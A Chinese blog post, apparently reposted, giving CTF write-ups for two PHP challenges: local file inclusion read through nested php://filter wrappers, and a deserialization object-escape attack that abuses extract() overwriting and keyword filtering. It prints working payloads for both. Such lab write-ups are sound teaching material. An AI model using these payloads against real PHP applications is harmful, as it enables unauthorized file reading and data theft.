博客
关于我
2021-02-07
阅读量:290 次
发布时间:2019-03-01

本文共 5472 字,大约阅读时间需要 18 分钟。

[BSidesCF 2020]Had a bad day

考点: php伪协议嵌套

启动环境:在这里插入图片描述
其中包含两个按钮,选择猫和狗的图片:
在这里插入图片描述
此时的URL变为:http://xxx/index.php?category=meowers 观察url,猜测sql注入
其中包含有GET传参,尝试修改category传入的值,得到报错:在这里插入图片描述
弹出include报错,那就是文件包含了
尝试获取index.php页面的源码:php://filter/read=convert.base64-encode/resource=index.php:
在这里插入图片描述
尝试了几次,发现不用加.php文件后缀,直接使用index:在这里插入图片描述

得到源码:

      
Had a bad day?

Cheer up!

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!

查看其中的PHP代码:

源码分析:

  • 通过GET方式传入变量category的值
  • 传入的值中需包含woofers或meowers或index,才可以调用include(),包含传入的文件

猜测其存在flag.php页面(flag常常会放在这里):

在这里插入图片描述
查看网页源码,Can you read this flag?提示需要读取flag,尝试继续使用php伪协议读取flag.php
php://filter/read=convert.base64-encode/resource=flag在这里插入图片描述

但源码中说明需要包含woofers、meowers、index,所以查阅资料,php伪协议可以嵌套使用,即构造

php://filter/read=convert.base64-encode/meowers/resource=flag在这里插入图片描述
Base64解码,得到flag

[安洵杯 2019]easy_serialize_php

1.考点

  • 锻炼代码审计能力和学习

  • PHP反序列化

  • 反序列化中的对象逃逸

首先回顾几个点:

序列化后的结果是一串字符串。
反序列化会解开序列化的字符串生成相应类型的数据。

如下代码示例,img是一个数组,下标分别是one和two,对应的值分别是flag,test。

string(4) "flag" ["two"]=> string(4) "test"}*/

序列化部分:

经过serialize序列化后生成了相应的字符串: a:2:{s:3:“one”;s:4:“flag”;s:3:“two”;s:4:“test”;}

a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。

花括号中的s都表示string即字符串,

s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4

反序列化部分:

unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。

可见解序列化后由变量$b,接收了img数组。

序列化中每个字母的表示在这里插入图片描述

分析题目源码

source_code';}if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png');}else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){ highlight_file('index.php');}else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));}

我把可以对应起来的代码放到了一起

$function = @$_GET['f'];if($function == 'highlight_file'){    highlight_file('index.php');}else if($function == 'phpinfo'){    eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){    $userinfo = unserialize($serialize_info);    echo file_get_contents(base64_decode($userinfo['img']));}

思路大概是:

  • 我们要令img的值为base64编码之后的d0g3_f1ag.php也就是(ZDBnM19mMWFnLnBocA==)
  • 但是我们无法直接控制img的值
  • session数组经过序列化之后还经过了一遍过滤,形成了漏洞
  • 通过这个漏洞我们可以令假的img的值变成真的

流程:

根据上面可以清楚,f是我们用get方法传参得到的变量并由$function接收。

$function发挥作用的代码块,在最下方的判断句。

咱们初步访问的时候f=highlight_file,

判断句中给了提示,那么f=phpinfo时,我们就看到了phpinfo的页面,phpinfo有很多配置项会显示。

我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。

所以可以猜测flag应该要从d0g3_f1ag.php拿

最下面有题是说让我们查看phpinfo,于是在phpinfo()里找到了在这里插入图片描述
说明我们要想办法读取这个php文件
直接访问文件,发现无法访问
此时我们选择构造反序列化逃逸进行绕过
反序列化的对象逃逸问题一般分为两种

第一种为关键词数增加 例如: where->hacker,这样词数由五个增加到6个第二种为关键词数减少例如:直接过滤掉一些关键词,例如这道题目中第一种情况比较好构造,直接构造多个关键词,这样就能逃出几个字符第二种可以是通过键逃逸和值逃逸

源码中唯一可以读取的就是file_get_content()函数.当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密,所以我们先记住这个点,一会肯定要用

变量覆盖

if($_SESSION){    unset($_SESSION);}$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST);

最上面的filter函数是为了过滤用的,可以先继续往下看,到如下的时候。

我们可以发现unset把原来的session销毁了,然后又给session附上了新的值。最后调用了extract( P O S T ) ; 。 这 个 e x t r a c t ( _POST);。这个extract( P​OST);。这个extract(_POST);是可以进行变量覆盖的,也就是说原来的_SESSION会丢失。

本地举个例子:

";extract($_POST);var_dump($_SESSION);

在这里插入图片描述

可见最后SESSION只剩下了flag这个键。

继续往下有这样两行代码:

if(!$_GET['img_path']){    $_SESSION['img'] = base64_encode('guest_img.png');}else{    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}

可见我们是否传入img_path参数,img参数还是会被附上一个值。

所以我们要想办法让这个img参数等于d0g3_f1ag.php的base64编码。因为有字符串的替换,能想到这里是键值逃逸。因为序列化好的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后数4个。并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

在这里插入图片描述

可以看到两端代码执行结果是一样的,}后面的字符串就被丢弃了。

我们有了这个逃逸概念的话,就大概可以理解了。如果我们把

$_SESSION[‘img’] = base64_encode(‘guest_img.png’);这段代码的img属性放到花括号外边去,

然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。

那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空

payload

payload:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}

ZDBnM19mMWFnLnBocA也就是d0g3_f1ag.php的base64加密。

s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA”;}这个肯定就是我们预期的那段序列化字符.
我们先本地调试一下,代码:

";extract($_POST);$_SESSION['img'] = base64_encode('guest_img.png');var_dump($_SESSION);echo "
";//$serialize_info = filter(serialize($_SESSION));var_dump( serialize($_SESSION) );

这段本地调试代码和题目中的步骤是一样的,我们传入POST参数:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}在这里插入图片描述

可以看到没过滤的时候是a:2:{s:7:“phpflag”;s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}

那么过滤掉php和flag之后这串字符串就会变成a:2:{s:7:"";s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}

这里,s:7:“和后面数7个字符配对,配到了”;s:54: 然后值是1。

中间img的键,值为ZDBnM19mMWFnLnBocA==。花括号后面的img原值都被抛弃。这里我们自己构造的img值就逃逸了出来。用这个payload;
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
在这里插入图片描述
查看源代码
在这里插入图片描述
将进行/d0g3_fllllllagbase64之后替换掉原来的base64
因为刚好都是20位。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
在这里插入图片描述
相关链接:

转载地址:http://zelx.baihongyu.com/

你可能感兴趣的文章
mysql中like % %模糊查询
查看>>
MySql中mvcc学习记录
查看>>
mysql中null和空字符串的区别与问题!
查看>>
MySQL中ON DUPLICATE KEY UPDATE的介绍与使用、批量更新、存在即更新不存在则插入
查看>>
MYSQL中TINYINT的取值范围
查看>>
MySQL中UPDATE语句的神奇技巧,让你操作数据库如虎添翼!
查看>>
Mysql中varchar类型数字排序不对踩坑记录
查看>>
MySQL中一条SQL语句到底是如何执行的呢?
查看>>
MySQL中你必须知道的10件事,1.5万字!
查看>>
MySQL中使用IN()查询到底走不走索引?
查看>>
Mysql中使用存储过程插入decimal和时间数据递增的模拟数据
查看>>
MySql中关于geometry类型的数据_空的时候如何插入处理_需用null_空字符串插入会报错_Cannot get geometry object from dat---MySql工作笔记003
查看>>
mysql中出现Incorrect DECIMAL value: '0' for column '' at row -1错误解决方案
查看>>
mysql中出现Unit mysql.service could not be found 的解决方法
查看>>
mysql中出现update-alternatives: 错误: 候选项路径 /etc/mysql/mysql.cnf 不存在 dpkg: 处理软件包 mysql-server-8.0的解决方法(全)
查看>>
Mysql中各类锁的机制图文详细解析(全)
查看>>
MySQL中地理位置数据扩展geometry的使用心得
查看>>
Mysql中存储引擎简介、修改、查询、选择
查看>>
Mysql中存储过程、存储函数、自定义函数、变量、流程控制语句、光标/游标、定义条件和处理程序的使用示例
查看>>
mysql中实现rownum,对结果进行排序
查看>>